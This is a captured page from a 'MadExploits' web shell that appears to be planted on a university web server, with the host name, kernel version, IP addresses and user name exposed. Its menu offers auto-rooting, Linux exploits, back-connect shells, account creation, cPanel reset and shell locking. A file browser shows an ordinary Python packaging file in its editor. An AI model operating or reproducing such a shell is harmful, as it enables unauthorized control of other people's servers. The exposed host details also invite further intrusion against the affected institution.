Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.131.38.184
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
packaging /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__about__.py
744
B
-rw-r--r--
__init__.py
562
B
-rw-r--r--
_compat.py
1.11
KB
-rw-r--r--
_structures.py
1.97
KB
-rw-r--r--
_typing.py
1.4
KB
-rw-r--r--
markers.py
9.24
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
requirements.py
4.75
KB
-rw-r--r--
specifiers.py
30.58
KB
-rw-r--r--
tags.py
23.15
KB
-rw-r--r--
utils.py
1.66
KB
-rw-r--r--
version.py
15.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.py
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import absolute_import, division, print_function import re from ._typing import MYPY_CHECK_RUNNING from .version import InvalidVersion, Version if MYPY_CHECK_RUNNING: # pragma: no cover from typing import Union _canonicalize_regex = re.compile(r"[-_.]+") def canonicalize_name(name): # type: (str) -> str # This is taken from PEP 503. return _canonicalize_regex.sub("-", name).lower() def canonicalize_version(_version): # type: (str) -> Union[Version, str] """ This is very similar to Version.__str__, but has one subtle difference with the way it handles the release segment. """ try: version = Version(_version) except InvalidVersion: # Legacy versions cannot be normalized return _version parts = [] # Epoch if version.epoch != 0: parts.append("{0}!".format(version.epoch)) # Release segment # NB: This strips trailing '.0's to normalize parts.append(re.sub(r"(\.0)+$", "", ".".join(str(x) for x in version.release))) # Pre-release if version.pre is not None: parts.append("".join(str(x) for x in version.pre)) # Post-release if version.post is not None: parts.append(".post{0}".format(version.post)) # Development release if version.dev is not None: parts.append(".dev{0}".format(version.dev)) # Local version segment if version.local is not None: parts.append("+{0}".format(version.local)) return "".join(parts)
Close